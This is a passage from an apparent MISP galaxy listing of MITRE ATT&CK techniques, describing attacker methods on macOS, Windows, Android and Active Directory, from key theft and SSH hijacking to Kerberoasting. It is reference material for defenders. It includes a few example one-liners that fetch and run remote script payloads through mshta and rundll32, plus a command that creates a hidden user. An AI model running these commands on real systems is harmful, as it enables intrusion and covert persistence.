In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS's gatekeeper will

step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)

## Private Keys - T1145

Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)

Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](<https://attack.mitre.org/techniques/T1021>) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as `~/ssh` for SSH keys on \*nix-based systems or `C:\Users\username\ssh` on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](<https://attack.mitre.org/techniques/T1056>) for keylogging or attempt to [Brute Force](<https://attack.mitre.org/techniques/T1110>) the passphrase off-line.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)

## Lockscreen Bypass - T1461

An adversary with physical access to a mobile device may seek to bypass the device's lockscreen.

### Biometric Spoofing

If biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism (Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).

iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.

### Device Unlock Code Guessing or Brute Force

An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing ("shoulder surfing") the device owner's use of the lockscreen passcode.

### Exploit Other Device Lockscreen Vulnerabilities

Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.

The tag is: *misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461"*

### Input Capture - T1417

Adversaries may capture user input to obtain credentials or other information from the user through various methods.

Malware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.

On Android, malware may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed.

Additional methods of keylogging may be possible if root access is available.

## Hidden Users - T1147

Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in `/Library/Preferences/com.apple.loginwindow` called `Hide500Users` that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](<https://attack.mitre.org/techniques/T1136>) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: `sudo dscl . -create /Users/username UniqueID 401` (Citation: Cybereason OSX Pirrit).

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Users - T1147"*

## Application Discovery - T1418

Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.

On Android, applications can use methods in the `PackageManager` class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the `pm` command line tool.

On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Discovery - T1418"*

## SSH Hijacking - T1184

Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

[SSH Hijacking](<https://attack.mitre.org/techniques/T1184>) differs from use of [Remote Services](<https://attack.mitre.org/techniques/T1021>) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](<https://attack.mitre.org/techniques/T1078>).

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184"*

## Web Service - T1481

Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.

These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Web Service - T1481"*

Links
<a href="https://attack.mitre.org/techniques/T1481">https://attack.mitre.org/techniques/T1481</a>

## LC\_MAIN Hijacking - T1149

As of OS X 10.8, mach-O binaries introduced a new header called LC\_MAIN that points to the binary's entry point for execution. Previously, there were two headers to achieve this same effect: LC\_THREAD and LC\_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn't know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.

The tag is: *misp-galaxy:mitre-attack-pattern="LC\_MAIN Hijacking - T1149"*

## Input Injection - T1516

A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs.

[Input Injection](<https://attack.mitre.org/techniques/T1516>) can be achieved using any of the

following methods:

- Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.(Citation: android-trojan-steals-paypal-2fa)
- Injecting global actions, such as `GLOBAL_ACTION_BACK` (programmatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019)
- Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)

The tag is: *misp-galaxy:mitre-attack-pattern="Input Injection - T1516"*

## Startup Items - T1165

Per Apple's documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, `/Library/StartupItems` isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), `StartupParameters.plist`, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.

The tag is: *misp-galaxy:mitre-attack-pattern="Startup Items - T1165"*

## Access Notifications - T1517

A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Access Notifications - T1517"*

## Dylib Hijacking - T1157

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)

If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

The tag is: *misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157"*

## Software Discovery - T1518

Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from [Software Discovery](<https://attack.mitre.org/techniques/T1518>) during automated discovery to shape follow-on behaviors, including whether or

not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="Software Discovery - T1518"*

Table 2456. Table References

Links
<a href="https://attack.mitre.org/techniques/T1518">https://attack.mitre.org/techniques/T1518</a>

## Launch Agent - T1159

Per Apple's developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in `/System/Library/LaunchAgents`, `/Library/LaunchAgents`, and `~/Library/LaunchAgents` (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnep malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).

Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user's directory structure) or when any user logs in (which requires administrator privileges).

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Agent - T1159"*

## Browser Extensions - T1176

Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).

## Securityd Memory - T1167

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple's securityd utility takes the user's logon password, encrypts it with

PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

If an adversary can obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user's logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnep malware)

## Process Doppelgänger - T1186

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänger Dec 2017)

Adversaries may leverage TxF to perform a file-less variation of [Process Injection](<https://attack.mitre.org/techniques/T1055>) called Process Doppelgänger. Similar to [Process Hollowing](<https://attack.mitre.org/techniques/T1093>), Process Doppelgänger involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänger's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänger Dec 2017)

Process Doppelgänger is implemented in 4 steps (Citation: BlackHat Process Doppelgänger Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.

- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.

## LSASS Driver - T1177

The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](<https://attack.mitre.org/techniques/T1073>) or [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.

The tag is: *misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177"*

## Forced Authentication - T1187

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](<https://attack.mitre.org/techniques/T1221>)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](<https://attack.mitre.org/techniques/T1110>) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)

There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](<https://attack.mitre.org/techniques/T1221>)). The document can include, for example, a request similar to `file[:]//[remote address]/Normal.dotm` to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
- A modified .LNK or .SCF file with the icon filename pointing to an external reference such as `\\[remote address]\pic.png` that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)

## BITS Jobs - T1197

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through [PowerShell](<https://attack.mitre.org/techniques/T1086>) (Citation: Microsoft BITS) and the [BITSAdmin](<https://attack.mitre.org/software/S0190>) tool. (Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](<https://attack.mitre.org/techniques/T1048>). (Citation: CTU BITS Malware June 2016)

## Trusted Relationship - T1199

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) used by the other party for access to internal network systems may be compromised and used.

<a href="https://attack.mitre.org/techniques/T1322">https://attack.mitre.org/techniques/T1322</a>

## Data Encrypted - T1532

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532"*

Table 2466. Table References

<a href="https://attack.mitre.org/techniques/T1382">https://attack.mitre.org/techniques/T1382</a>

## Process Discovery - T1424

On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the `ps` command, or by examining the `/proc` directory. Starting in Android version 7, use of the Linux kernel's `hidepid` feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).

## Capture Audio - T1429

Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.

Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the `android.permission.RECORD_AUDIO` permission to access the microphone and the `android.permission.CAPTURE_AUDIO_OUTPUT` permission to access audio output such as speakers. Android does not allow third-party applications to hold `android.permission.CAPTURE_AUDIO_OUTPUT`, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful

privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.

## Internal Spearphishing - T1534

Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)

Adversaries may leverage [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1193>) or [Spearphishing Link](<https://attack.mitre.org/techniques/T1192>) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](<https://attack.mitre.org/techniques/T1056>) on sites that mimic email login interfaces.

There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)

## Credential pharming - T1374

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)

The tag is: *misp-galaxy:mitre-attack-pattern="Credential pharming - T1374"*

Table 2474. Table References

Links
<a href="https://attack.mitre.org/techniques/T1374">https://attack.mitre.org/techniques/T1374</a>

## Device Lockout - T1446

An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device's passcode.(Citation: Android resetPassword)

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)

## Data Destruction - T1485

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shmoon 2012)(Citation: FireEye Shmoon Nov 2016)(Citation: Palo Alto Shmoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shmoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as `del` and `rm` often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](<https://attack.mitre.org/techniques/T1488>) and [Disk Structure Wipe](<https://attack.mitre.org/techniques/T1487>) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shmoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shmoon Nov 2016)(Citation: Palo Alto Shmoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](<https://attack.mitre.org/techniques/T1078>), [Credential Dumping](<https://attack.mitre.org/techniques/T1003>), and [Windows Admin Shares](<https://attack.mitre.org/techniques/T1077>). (Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)

## Firmware Corruption - T1495

Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot. (Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.

## Resource Hijacking - T1496

Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability.

One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to

negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.

## Service Stop - T1489

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as `MSEExchangeIS`, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](<https://attack.mitre.org/techniques/T1485>) or [Data Encrypted for Impact](<https://attack.mitre.org/techniques/T1486>) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)

## Rc.common - T1163

During the boot process, macOS executes `source /etc/rc.common`, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start

of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).

## Regsvcs/Regasm - T1121

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: `[ComRegisterFunction]` or `[ComUnregisterFunction]` respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

## Mshhta - T1170

Mshhta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension `.hta`. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshhta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshhta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshhta.exe through an inline script: `mshhta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct""")))`

They may also be executed directly from URLs: `mshhta http[:]//webserver/payload[.]hta`

Mshhta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshhta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshhta)

## Screensaver - T1180

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in `C:\Windows\System32\`, and `C:\Windows\sysWOW64\` on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (`HKCU\Control Panel\Desktop\`) and could be manipulated to achieve persistence:

- `SCRNSAVE.exe` - set to malicious PE path
- `ScreenSaveActive` - set to '1' to enable the screensaver
- `ScreenSaverIsSecure` - set to '0' to not require a password to unlock
- `ScreenSaveTimeout` - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

## Rundll32 - T1085

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented

shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:"..\mshtml,RunHTMLApplication";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")` This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

<a href="https://en.wikipedia.org/wiki/Hypervisor">https://en.wikipedia.org/wiki/Hypervisor</a>

## DCShadow - T1207

DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain

object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](<https://attack.mitre.org/techniques/T1178>) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)

## Kerberoasting - T1208

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](<https://attack.mitre.org/techniques/T1110>) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>). (Citation: SANS Attacking Kerberos Nov

